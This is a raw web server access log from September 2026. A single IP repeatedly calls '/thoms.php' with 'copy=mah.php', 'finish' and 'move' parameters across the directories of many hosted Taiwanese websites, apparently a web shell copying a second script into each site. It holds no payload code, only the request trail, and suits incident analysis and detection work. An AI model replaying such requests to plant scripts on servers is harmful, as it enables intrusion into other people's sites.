45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F&location=%2Fhome%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /booking-wise2.com.tw/data-unused/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fdata-unused%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?copy=mah.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?copy=mah.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:56 -0400] "GET /thoms.php?copy=mah.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 200 11844 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17375 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 200 11401 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17408 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17510 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:57 -0400] "GET /thoms.php?copy=mah.php&p=besth2o.com.tw%2F.well-known HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 200 11422 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 200 11437 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 200 11341 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17510 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11399 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22935 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22933 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?copy=mah.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19384 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:58 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19381 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&p=wp-content%2Fthemes HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13969 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 200 11397 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13971 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 200 11842 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17560 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:59 -0400] "GET /thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17561 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20508 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22935 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11402 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11326 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22952 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11823 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?copy=mah.php&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 200 11339 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
